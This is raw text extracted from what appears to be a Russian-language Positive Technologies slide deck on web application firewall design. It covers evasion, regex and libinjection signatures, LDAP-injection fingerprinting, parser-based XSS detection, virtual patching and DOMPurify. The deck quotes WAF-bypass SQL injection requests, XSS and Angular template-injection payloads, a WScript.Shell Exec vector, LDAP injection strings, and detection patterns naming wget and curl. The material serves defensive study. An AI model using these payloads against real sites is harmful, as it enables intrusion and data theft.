GET /update?id=1+union+select+1/* HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
ptsecurity.com
Пример101
GET /update?id=1+un/**/ion+se/**/lect+1/* HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
ptsecurity.com
Пример102
GET /update?id=1;select+1&id=2,3/* HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
ASP.NET/IISid = 1;SELECT 1,2,3 /*
PHP/Apacheid = 2,3 /*
ptsecurity.com
Пример103
GET /update?id=\u003csvg%2fonload=alert(1)\u003e HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475
Обработка Path104
ptsecurity.com
HTTP Parameter Pollution105
ptsecurity.com
HTTP Parameter Contamination106
ptsecurity.com
Нормализация107
ptsecurity.com
T. Ptacek, T.Newsham. Insertaion, Evasion, and Denial of Service: Eluding Network Intrusion Detection. Secure Networks, Inc. 1998.
Ivan Ristic. Protocol-Level Evasion of Web Application Firewalls.
Основной принцип нормализации – приведение обрабатываемых данных к такому же формату и виду, к каким приведет его защищаемое веб-приложение
Positive Security Model
Positive Security Model109
HTTP
ptsecurity.com
ptsecurity.com
Positive Security Model110
А. Реутов, А. Завгородний. Продвинутая защита от DDoS-атак на прикладном уровне с помощью алгоритмов машинного обучения
А. Реутов, А. Завгородний. Распознование активности ботов с помощью алгоритмов машинного обучения
В. Лепихин. Реализация методов самообучения в WAF
Negative Security Model
ptsecurity.com
Negative Security Model112
Лексический подход (регулярные выражения)
Лексико-сигнатурный подход • libinjection (Nick Galbreath)
Синтаксический подход (parsing-based)• libdetection (Wallarm)
• waf.js (Positive Technologies)
• Indexed Syntax Graph (Shape Security)
Лексический подход
Лексический подход114
HTTP
ptsecurity.com
(?:\/[^\?\/]+\.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:\;[^\?\/]*)?\?)|\?.+\=.*(?:(?:ActiveXObject|CreateObject|Exec)\((?:"|')|\((?:'|")WScript\.Shell)
LDAP Search Filter Injection(?:\((?:\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\b\W*?=|[^\w\x80-\xFF]*?[\!\&\|][^\w\x80-\xFF]*?\()|\)[^\w\x80-\xFF]*?\([^\w\x80-\xFF]*?[\!\&\|])
Reflected File Download
SSRF(gopher|jar|tftp|php|phar|ldap|dict|ssh2|file|ogg|expect|imap|pop3|smtp|telnet|mailto|zlib|rar|compress\.zlib|glob|data):\/\/
(?i:(?:[\;\|\`]\W*?\bcc|\b(wget|curl))\b|\/cc(?:[\'\"\|\;\`\-\s]|$))
OS Command Injection
SSI Injection<!--\W*?#\W*?(?:e(?:cho|xec)|printenv|include|cmd)
Лексический подход115
HTTP
ptsecurity.com
Reflected File Download
Лексический подход116
HTTP
ptsecurity.com
SQL Injection
# Detect SQL Comment Sequences(/\*!?|\*/|[';]--|--[\s\r\n\v\f]|(?:--[^-]*?-)|([^\-&])#.*?[\s\r\n\v\f]|;?\\x00)# SQL Hex Evasion Methods(?i:(?:\A|[^\d])0x[a-f\d]{3,}[a-f\d]*)+# String Termination/Statement Ending Injection Testing(^[\"'`´’‘;]+|[\"'`´’‘;]+$)# SQL Operators(?i:(\!\=|\&\&|\|\||>>|<<|>=|<=|<>|<=>|\bxor\b|\brlike\b|\bregexp\b|\bisnull\b)|(?:not\s+between\s+0\s+and)|(?:is\s+null)|(like\s+null)|(?:(?:^|\W)in[+\s]*\([\s\d\"]+[^()]*\))|(?:\bxor\b|<>|rlike(?:\s+binary)?)|(?:regexp\s+binary))# SQL Tautologies (?i:([\s'\"`´’‘\(\)]*?)\b([\d\w]++)([\s'\"`´’‘\(\)]*?)(?:(?:=|<=>|r?like|sounds\s+like|regexp)([\s'\"`´’‘\(\)]*?)\2\b|(?:!=|<=|>=|<>|<|>|\^|is\s+not|not\s+like|not\s+regexp)([\s'\"`´’‘\(\)]*?)(?!\2)([\d\w]+)\b))# Detect DB Names(?i:(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|aster\.\.sysdatabases|ysql\.db)|s(?:ys(?:\.database_name|aux)|chema(?:\W*\(|_name)|qlite(_temp)?_master)|d(?:atabas|b_nam)e\W*\(|information_schema|pg_(catalog|toast)|northwind|tempdb))
Лексический подход117
HTTP
ptsecurity.com
SQL Injection
(?i:\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4|ipv6|not_null|not|null|used_lock))?|n(?:et6?_(aton|ntoa)|s(?:ert|tr)|terval)?|f(null)?)|u(?:n(?:compress(?:ed_length)?|ix_timestamp|hex)|tc_(date|time|timestamp)|p(?:datexml|per)|uid(_short)?|case|ser)|l(?:o(?:ca(?:l(timestamp)?|te)|g(2|10)?|ad_file|wer)|ast(_day|_insert_id)?|e(?:(?:as|f)t|ngth)|case|trim|pad|n)|t(?:ime(stamp|stampadd|stampdiff|diff|_format|_to_sec)?|o_(base64|days|seconds|n?char)|r(?:uncate|im)|an)|m(?:a(?:ke(?:_set|date)|ster_pos_wait|x)|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:nth(name)?|d)|d5)|r(?:e(?:p(?:lace|eat)|lease_lock|verse)|o(?:w_count|und)|a(?:dians|nd)|ight|trim|pad)|f(?:i(?:eld(_in_set)?|nd_in_set)|rom_(base64|days|unixtime)|o(?:und_rows|rmat)|loor)|a(?:es_(?:de|en)crypt|s(?:cii(str)?|in)|dd(?:dat|tim)e|(?:co|b)s|tan2?|vg)|p(?:o(?:sition|w(er)?)|eriod_(add|diff)|rocedure_analyse|assword|i)|b(?:i(?:t_(?:length|count|x?or|and)|n(_to_num)?)|enchmark)|e(?:x(?:p(?:ort_set)?|tract(value)?)|nc(?:rypt|ode)|lt)|v(?:a(?:r(?:_(?:sam|po)p|iance)|lues)|ersion)|g(?:r(?:oup_conca|eates)t|et_(format|lock))|o(?:(?:ld_passwo)?rd|ct(et_length)?)|we(?:ek(day|ofyear)?|ight_string)|n(?:o(?:t_in|w)|ame_const|ullif)|(rawton?)?hex(toraw)?|qu(?:arter|ote)|(pg_)?sleep|year(week)?|d?count|xmltype|hour)\W*\(|\b(?:(?:s(?:elect\b(?:.{1,100}?\b(?:(?:length|count|top)\b.{1,100}?\bfrom|from\b.{1,100}?\bwhere)|.*?\b(?:d(?:ump\b.*\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:sqlexec|sp_replwritetovarbin|sp_help|addextendedproc|is_srvrolemember|prepare|sp_password|execute(?:sql)?|makewebtask|oacreate)|ql_(?:longvarchar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|terminate|xp_servicecontrol|xp_ntsec_enumdomains|xp_terminate_process|e(?:xecresultset|numdsn)|availablemedia|loginconfig|cmdshell|filelist|dirtree|makecab|ntsec)|u(?:nion\b.{1,100}?\bselect|tl_(?:file|http))|d(?:b(?:a_users|ms_java)|elete\b\W*?\bfrom)|group\b.*\bby\b.{1,100}?\bhaving|open(?:rowset|owa_util|query)|load\b\W*?\bdata\b.*\binfile|(?:n?varcha|tbcreato)r|autonomous_transaction)\b|i(?:n(?:to\b\W*?\b(?:dump|out)file|sert\b\W*?\binto|ner\b\W*?\bjoin)\b|(?:f(?:\b\W*?\(\W*?\bbenchmark|null\b)|snull\b)\W*?\()|print\b\W*?\@\@|cast\b\W*?\()|c(?:(?:ur(?:rent_(?:time(?:stamp)?|date|user)|(?:dat|tim)e)|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|ast|r32)\W*\(|o(?:(?:n(?:v(?:ert(?:_tz)?)?|cat(?:_ws)?|nection_id)|(?:mpres)?s|ercibility|alesce|t)\W*\(|llation\W*\(a))|d(?:(?:a(?:t(?:e(?:(_(add|format|sub))?|diff)|abase)|y(name|ofmonth|ofweek|ofyear)?)|e(?:(?:s_(de|en)cryp|faul)t|grees|code)|ump)\W*\(|bms_\w+\.\b)|(?:;\W*?\b(?:shutdown|drop)|\@\@version)\b|\butl_inaddr\b|\bsys_context\b|'(?:s(?:qloledb|a)|msdasql|dbo)'))
ptsecurity.com
Правила118
Регулярные выражения – описание сигнатуры
Правило – описание контекста и логики
Правила• Условия
• Источники
• Корреляции
Пример правил: ModSecurity119
HTTP
ptsecurity.com
Heuristic Checks## -=[ Heuristic Checks ]=-## [ Repeatative Non-Word Chars ]## This rule attempts to identify when multiple (4 or more) non-word characters are repeated in sequence#SecRule ARGS "\W{4,}" "phase:2,capture,t:none,t:urlDecodeUni,block,id:'960024',rev:'2',ver:'OWASP_CRS/2.2.9',maturity:'9',accuracy:'8',msg:'Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:'tx.msg=%{rule.msg}',setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION-%{matched_var_name}=%{tx.0}"
Пример правил CloudFlare WAF120
HTTP
ptsecurity.com
Anonymous Attack
rule 1234567A Simple POST botnetREQUEST_METHOD is POST andREQUEST_URI is /q
deny
rule 12345679 Anonymous attackREQUEST_METHOD is GET andREQUEST_URI begins /?msg=Nous%20sommes%20Anonymous
deny
Simple POST Botnet
Пример правил: PT Application Firewall121
HTTP
ptsecurity.com
Reflected File Download
{"rule": {
"and": [ {"REQUEST_URI": {
"regex": "(?:\\/[^\\?\\/]+\\.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:\\;[^\\?\\/]*)?\\?)|\\?.+\\=.*(?:(?:ActiveXObject|CreateObject|Exec)\\((?:\\x22|')|\\((?:'|\\x22)WScript\\.Shell)"
}},{
"RESPONSE_HEADERS;content-disposition": {"itext": "attachment"
}}
]}
}
Пример правил: PT Application Firewall122
HTTP
ptsecurity.com
Missing Security Header
{"name": "Missing Security Header","enabled": "true","rule": {
"not": [{
"and": [{"RESPONSE_HEADERS_KEYS": "x-frame-options"},{"RESPONSE_HEADERS_KEYS": "x-download-options"},{"RESPONSE_HEADERS_KEYS": "x-content-type-options"},{"RESPONSE_HEADERS_KEYS": "x-xss-protection"}
]}
]}
}
Пример правил: PT Application Firewall123
HTTP
ptsecurity.com
Leakage in HTTP Header
{"name": "Leakage In HTTP Header","description": "","enabled": true,"rule": {"or": [{"RESPONSE_HEADERS_KEYS": "X-AspNet-Version"},{"RESPONSE_HEADERS_KEYS": "X-AspNetMvc-Version"},{"RESPONSE_HEADERS_KEYS": "X-Powered-CMS"},{"RESPONSE_HEADERS_KEYS": "X-Backend-Server"},{"RESPONSE_HEADERS_KEYS": "X-Powered-By"},{"RESPONSE_HEADERS_KEYS": "Server"},{"RESPONSE_HEADERS_KEYS": "X-ChromePhp-Data"},{"RESPONSE_HEADERS_KEYS": "X-ChromeLogger-Data"}
]}
}
Лексико-сигнатурный подход
ptsecurity.com
Лексико-сигнатурный подход125
Предложил Nil Galbreath в 2012 для обнаружения SQL-инъекций
Позднее данный подход был адаптировал для обнаружения XSS
Реализован в библиотеке libinjection
Основные идеи
• Выполняется токенизация значения в соответствии с заданной грамматикой в 3-х контекстах
• Строится свертка
• Последовательность первых 5-ти токенов ищется в базе сигнатур
• База сигнатур строится по популярным векторам атак
ptsecurity.com
Пример126
input = 42" or "1"="1" --
1
ptsecurity.com
Пример127
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
ptsecurity.com
Пример128
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number('s', ' " or "'): string('1', '1'): number('s', ' "=" '): string('1', '1'): number('s', ' "--'): string
Токены
ptsecurity.com
Пример129
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number('s', ' " or "'): string('1', '1'): number('s', ' "=" '): string('1', '1'): number('s', ' "--'): string
Токены
1s1s1s
Сигнатура
ptsecurity.com
Пример130
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number('s', ' " or "'): string('1', '1'): number('s', ' "=" '): string('1', '1'): number('s', ' "--'): string
Токены
1s1s1s
Сигнатура
ptsecurity.com
Пример131
input = 42" or "1"="1" --
2
ptsecurity.com
Пример132
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
ptsecurity.com
Пример133
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' \'42" or "1"="1" --'): string
Токены
ptsecurity.com
Пример134
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' \'42" or "1"="1" --'): string
Токены
s
Сигнатура
ptsecurity.com
Пример135
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' \'42" or "1"="1" --'): string
Токены
s
Сигнатура
ptsecurity.com
Пример136
input = 42" or "1"="1" --
3
ptsecurity.com
Пример137
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
ptsecurity.com
Пример138
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
('s', ' "42" '): string('&', 'or'): logic operator('s', ' "1" '): string('o', '='): operator('1', ' "1"'): string('c', '--'): comment
Токены
ptsecurity.com
Пример139
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
('s', ' "42" '): string('&', 'or'): logic operator('s', ' "1" '): string('o', '='): operator('1', ' "1"'): string('c', '--'): comment
Токены
s&sos
Сигнатура
ptsecurity.com
Пример140
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
('s', ' "42" '): string('&', 'or'): logic operator('s', ' "1" '): string('o', '='): operator('1', ' "1"'): string('c', '--'): comment
Токены
s&sos
Сигнатура
ptsecurity.com
Примеры сигнатур141
&(1)U
&(1)o
&(1o(
&(1of
&(1os
&(1ov
&(f()
&(nof
&(nos
&(nov
&(s)U https://github.com/client9/libinjection/blob/master/src/fingerprints.txt
Проблема ложных срабатываний
POST /app HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
Text=Dancin' like a robot on fire
142
ptsecurity.com
Обнаружение LDAP-инъекций с нуля
ptsecurity.com
LDAP-инъекция144
«Внедрение операторов LDAP» (LDAP Injection) — атака, позволяющая злоумышленнику влиять на фильтр поиска, либо на Base DN, в обход логики приложения
Злоумышленник может обойти механизмы аутентификации, получить конфиденциальную информацию или повлиять на модифицирующие запросы
LDAP Injection
• Search filter
• Distinguished Name
В ModSecurity CRS обнаружение LDAP-инъекции основано на следующем регулярном выражении
(?:\((?:\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\b\W*?=|[^\w\x80-\xFF]*?[\!\&\|][^\w\x80-\xFF]*?\()|\)[^\w\x80-\xFF]*?\([^\w\x80-\xFF]*?[\!\&\|])
https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/base_rules/modsecurity_crs_40_generic_attacks.conf
ptsecurity.com
LDAP-инъекция145
ptsecurity.com
Вектора LDAP-инъекций146
foo)(sn=100foo)(&)documents)(security_level=*))(&(directory=documentsprinter)(uid=*)printer)(department=fa*)printer)(department=*fa*)*)(objectClass=*))(&(objectClass=void*)(objectClass=users))(&(objectClass=foovoid)(objectClass=users))(&(objectClass=void)
https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf
Вектора Алонсо-Парада
ptsecurity.com
Вектора LDAP-инъекций147
eb9adbd87d)(sn=*eb9adbd87d)!(sn=**)(sn=**)!(sn=*
Вектора Burp Suite
Вектора ExploitDB
ka0x)(|(homedirectory=*)
5faa0382d747b754)(sn=*
5faa0382d747b754)!(sn=*
ptsecurity.com
Вектора LDAP-инъекций148
%2A%28%7C%28mail%3D%2A%29%29%2A%28%7C%28objectclass%3D%2A%29%29*(|(mail=*))*(|(objectclass=*))*()|&'admin*admin*)((|userpassword=*)*)(uid=*))(|(uid=*
Вектора FuzzDB
ptsecurity.com
Вектора LDAP-инъекций149
^(#$!@#$)(()))******
Вектора W3AF
Вектора Acunetix
!(()&&!|*|*|
^(#$!@#$)(()))******
Вектора OWASP Testing Security Guide
*)(uid=*))(|(uid=*
ptsecurity.com
LDAP-инъекция150
Применим подход libinjection для обнаружения LDAP-инъекций в фильтрах поиска
Пример фильтра
Этапы• Определение контекстов
• Определение токенов по грамматике LDAP Search Filter
• Определение правил кодирования и свертки
• Создание базы сигнатур
(&(givenName=John)(|(l=Dallas)(l=Austin)))
ptsecurity.com
LDAP-инъекция151
Контексты• (cn=$input)
• (&(cn=$input)(sn=$const))
• (&(cn=$const)(sn=$input))
ptsecurity.com
LDAP-инъекция152
https://tools.ietf.org/search/rfc4515
Лексемы
(
)
&, |, !
=, >=, <=, ~=
Токен
(
)
&
o
attr, attributeDescription, any, assertionValue, [dnattrs],
[matchingrule]n
ptsecurity.com
Контексты153
Лексемы Фильтр
(cn=aa)(&)
(cn=aa)(cn=aa)(cn=$input)
Фингерпринт
n)(& *
n)(no
* - Только для некоторых LDAP-серверов, которые отбрасывают второе валидное выражение** - Если веб-приложение уязвимо к NULL-инъекции
ptsecurity.com
Контексты154
Лексемы Фильтр
(&(cn=aa)(sn=aa)(&))
(&(cn=aa)(sn=aa)(cn=aa)(&))(&(cn=$const)(sn=$input))
Фингерпринт
n)(&
n)(no
(&(cn=aa)(sn=aa))(&(cn=aa)(sn=aa)) n))(& *
(&(cn=aa)(sn=aa)))%00)) n))) **
* - Только для некоторых LDAP-серверов, которые отбрасывают второе валидное выражение** - Если веб-приложение уязвимо к NULL-инъекции
ptsecurity.com
Контексты155
Лексемы Фильтр
(&(cn=aa)(&)(sn=aa))
(&(cn=aa)(sn=aa)(sn=aa))
(&(cn=$input)(sn=$const))
Фингерпринт
n)(&
n)(no
(&(cn=aa)(&)(sn=aa)(sn=aa)) n)(&)
(&(cn=aa)(&(cn=aa)(cn=aa))(sn=aa)) n)(&(
(&(cn=aa)(&))(sn=aa))
(&(cn=*)!(sn=*)(sn=aa))
(&(cn=aa))%00)(sn=aa))
* - Только для некоторых LDAP-серверов, которые отбрасывают второе валидное выражение** - Если веб-приложение уязвимо к NULL-инъекции*** - Синтаксически неверный вектор, используемый в тестах
n)(&) *
n)&(n ***
n)) **
Синтаксический подход
ptsecurity.com
Предлагаемый подход157
Строка s - инъекция для языка L(G), если в построенном дереве разбора s по грамматике G содержится хотя бы одна опасная инструкция
• 11111• alert(1)
Базовая идея – выполнить парсинг строки в специальном режиме восстановления после ошибок и если в результате мы получим дерево с опасными инструкциями, то исходная строка является инъекцией
Характеристики подхода• Возможность использования готовых парсеров• Универсальность• Эвристичность
ptsecurity.com
Пример: DOM-based XSS158
http://ex.com/foo.html#11111
var input = location.hash.slice(1);document.write("<scr"+"ipt>var foo = "+ input +"</scr"+"ipt>");
<script> var foo = 11111; <script>
Program
ExpressionStatement
Literal
ptsecurity.com
Пример: DOM-based XSS159
http://ex.com/foo.html#1;alert(1);
var input = location.hash.slice(1);document.write("<scr"+"ipt>var foo = "+ input +"</scr"+"ipt>");
<script> var foo = 1;alert(1); <script>
Program
ExpressionStatement
Literal
ExpressionStatement
CallExpression
Identifier
Literal
ptsecurity.com
Поиск вредоносного кода в JavaScript160
Опасные конструкции в простейшем случае задаются перечнем типов узлов ESTree
Для уменьшения числа ложных срабатываний могут быть использованы дополнительные проверки на основе родительских или дочерних узлов
Далее в примерах (для простоты изложения) считается, что список ограничен узлами типа CallExpression
ptsecurity.com
Поиск в дереве разбора161
Что делать когда дерево разбора не может быть построено?""};alert(1);var f={t:"
function sanitize(dirty) {var esprima = require('esprima'), estraverse = require('estraverse'), clean = '', tree;tree = esprima.parse(dirty);estraverse.traverse(tree, {enter: function(node) {
if (node.type === 'CallExpression') {return clean;
}}
});return dirty;
}
Обход дерева (esprima/estraverse)
ptsecurity.com
Модульный парсер Acorn162
function sanitize(dirty) {var acorn = require('acorn'), detected = false, clean = '', tree ;acorn.plugins.detectCallExpression = function(parser) {
parser.extend('finishNode', function(nextMethod) {return function(code, node) {
if(node === 'CallExpression') {detected = true;
}return nextMethod.call(this, code, node);
}})
};
tree = acorn.parse(payload, {plugins: {detectCallExpression: true}});if (detected) {
return clean;}return dirty;
}
ptsecurity.com
Идеальный парсер163
• Написан на JavaScript
• Работает в веб-браузере
• Высокопроизводительный
• Соответствует стандартам (ECMAScript, ESTree)
• Имеет возможность изменять методы разбора
• Возвращает информацию об ошибках
• Может работать в режиме толерантности к ошибкам (error-tolerant parser)
ptsecurity.com
Метод поиска с левым приведением164
Вход: строка S, контекст CTX
Выход: является ли S инъекцией в контексте CTX?
1. Построить tokens - список JS-токенов s в CTX
2. Построить дерево разбора для S в CTX
3. Если в дереве есть запрещенные узлы, то S – инъекция
4. Иначе удалить из S следующий токен
5. Если S непустая строка, то перейти на шаг 2
ptsecurity.com
Поиск с левым приведением165
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "1
ptsecurity.com
Поиск с левым приведением166
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
2
ptsecurity.com
Поиск с левым приведением167
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = ""});alert(1);var f =({t:"
parse(ctx): Unexpected token (1:2)
3
ptsecurity.com
Поиск с левым приведением168
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = });alert(1);var f =({t:"
parse(ctx): Unexpected token (1:0)
4
ptsecurity.com
Поиск с левым приведением169
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = );alert(1);var f =({t:"
parse(ctx): Unexpected token (1:0)
5
ptsecurity.com
Поиск с левым приведением170
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = ;alert(1);var f =({t:"
parse(ctx): Program
6
ptsecurity.com
Поиск с левым приведением171
7Program
EmptyStatement ExpressionStatement
alert
CallExpression
…
arguments
1
nodes = {CallExpression}ctx = ;alert(1);var f =({t:"
ptsecurity.com
Фрагмент кода172
function sanitize(s){var clean = '';var ctxs = ['', '"', '\''], ctx, tokens, curToken, detected = false;for (var i = 0, len = ctxs.length; i < len; i++) {
ctx = ctxs[i] + s;tokens = getTokens(ctx);curToken = 0;while(ctx.length > 0 && !isInjection) {
try {acorn.parse(ctx, plugins: {detectCallExpression: true}});
}catch(e){}if (detected) return clean;ctx = ctx.substring(tokens[curToken].length);curToken +=1;
}}return s;
};}
ptsecurity.com
Примеры обнаруживаемых векторов173
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
OSX Message XSS
Client-side Template Injection with AngularJS
Cure53 H5SC Mini Challenge 4[alert(1)]%22})));alert(1)}catch(e){}//
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
ptsecurity.com
Примеры обнаруживаемых векторов174
http://friendfeed.com/api/feed/public?callback=var WshShell=new ActiveXObject("WScript.Shell");WshShell.Exec("calc");//
Internet Explorer Reflected File Download
Reflected XSS on developer.uber.com via Angular template injection
ES6 alert`1`
https://developer.uber.com/docs/deep-linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz
ptsecurity.com
Толерантность к ошибкам175
)},{0:prompt(1Prompt.ml Challenge Hidden Level 4
function escape(input) {// You know the rules and so do Iinput = input.replace(/"/g, '');return '<body onload="think.out.of.the.box(' + input + ')">';
}
return '<body onload="think.out.of.the.box()},{0:prompt(1)">';
"… the solution might work for some older versions of Chrome, while for others, a different vector would be needed…"
ptsecurity.com
Толерантность к ошибкам176
nodes = {CallExpression}
s = )},{0:prompt(1Program
ExpressionStatement
SequenceExpression
…
ObjectExpressionIdentifier
CallExpression
name: x
ptsecurity.com
Минимизация ложных срабатываний 177
Расширенная конфигурация• Классы источников• Контексты для источников и отдельных параметров• Запрещенные узлы ESTree
Реализация дополнительных проверок в модулях Acorn
Предустановленные профили защиты
Тестирование
Виртуальный патчинг
ptsecurity.com
Виртуальный патчинг179
Виртуальный патч – то, что предотвращает использование
обнаруженной уязвимости к атаке
• SAST
• DAST
Особенности• Использование механизма правил, а не сигнатур
• Возможно использование сложных алгоритмов защиты (CSRF, IDOR)
Ryan Barnett. WAF Virtual Patching Challenge.
ptsecurity.com
Как сгенерировать патч180
Знать как не должно быть: необходимые и достаточные условия наличия
уязвимости
Знать как есть: доказать наличие этих условий в анализируемом коде
защищаемого приложения
Устранить хотя бы одно из необходимых условий путем изменения
исходного кода защищаемого приложения
В. Кочетков. Автоматическая генерация патчей для уязвимого исходного кода
ptsecurity.com
Как сгенерировать виртуальный патч181
Знать как не должно быть: необходимые и достаточные условия наличия уязвимости
Знать как есть: доказать наличие этих условий в защищаемом приложении
Сделать невозможным выполнение хотя бы одного из необходимых условий путем изменения запросов к защищаемому приложению
ptsecurity.com
Метод защиты182
Средствами SAST/DAST выполняется поиск уязвимостей веб-приложения
По найденным уязвимостям создается отчет
Отчет содержит перечень найденных уязвимостей и автоматически сгенерированные эксплоиты
По полученным эксплоитам генерируются сигнатуры и итоговые правила виртуальных патчей
ptsecurity.com
Исходный код183
// page.php<?php$name = $_GET["name"];
?><html><body><div class="user"><?php echo $name; ?>
</div></body>
</html>
ptsecurity.com
Исходный код184
http://example.com/blog/page.php?id=<svg/onload=alert(1)>
Эксплоит
// page.php<?php$id = $_GET["id"];
?><html><body><div class="page"><?php echo $id; ?>
</div></body>
</html>
ptsecurity.com
Пример отчета185
{"path": "/blog/page.php","source": "/opt/app/www/blog/page.php","type": "XSS","exploit": "\r\nGET /blog/page.php/id=<svg/onload=alert(1)> HTTP/1.1\r\nHost: example.com\r\n","params": {"param": {"src": "REQUEST_GET_ARGS","payload": "<svg/onload=alert(1)>","name": "id","dependencies": {"dependency": [
"%3C","%3E"
]}}}}
ptsecurity.com
Пример правила186
{"and": [
{"REQUEST_PATH": "/blog/page.php"
},{
"REQUEST_GET_ARGS:id": {"regex": "[<>]"
}}
]}
Адаптация DOMPurify
ptsecurity.com
Виды XSS188
XSS
HTML/DOM
JavaScript
Attribute
URL
Пример
<svg/onload=alert(1)>
");alert(1);//
" onload="alert(1)
javascript:alert(1)
Грамматика
HTML, JavaScript
JavaScript
HTML, JavaScript
URL, JavaScript
ptsecurity.com
DOMPurify189
"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for
HTML, MathML and SVG"
Адрес проекта
https://github.com/cure53/DOMPurify
Особенности– Точный механизм– Инструмент для разработчиков– Удаление вредоносного и запрещенного кода из HTML/MathML/SVG– Поддерживает механизм хуков
ptsecurity.com
Что может DOMPurify190
Предотвращать атаки XSS (в том числе для jQuery)
var dirty = '<a>123<b>456<script>alert(1)<\/script></b></a>789';var policy = {FORBID_TAGS: ['a', 'b']};var clean = DOMPurify.sanitize(dirty, policy);clean; //123456789
var dirty = '123<a href="javascript:alert(1)">I am a dolphin too!</a>';var clean = DOMPurify.sanitize(dirty);clean; // "123<a>I am a dolphin too!</a>"
var dirty = '<a x="1">123<b>456</b></a>';var policy = {FORBID_ATTR: ['x']};var clean = DOMPurify.sanitize(dirty, policy);clean; //"<a>123<b>456</b></a>"
ptsecurity.com
Что может DOMPurify191
Предотвращать атаки DOMClobbering
var dirty = '<img src=x name=createElement><img src=y id=createElement>';var clean = DOMPurify.sanitize(dirty);clean; // "<img src="x"><img src="y">"
var dirty = '<form onsubmit=alert(1)><input onfocus=alert(2) name=removeAttributeNode>123</form>';var clean = DOMPurify.sanitize(dirty);clean; // "<form><input>123</form>"
var dirty = '<img src=x name=cookie>';var clean = DOMPurify.sanitize(dirty);clean; // "<img src="x">"
ptsecurity.com
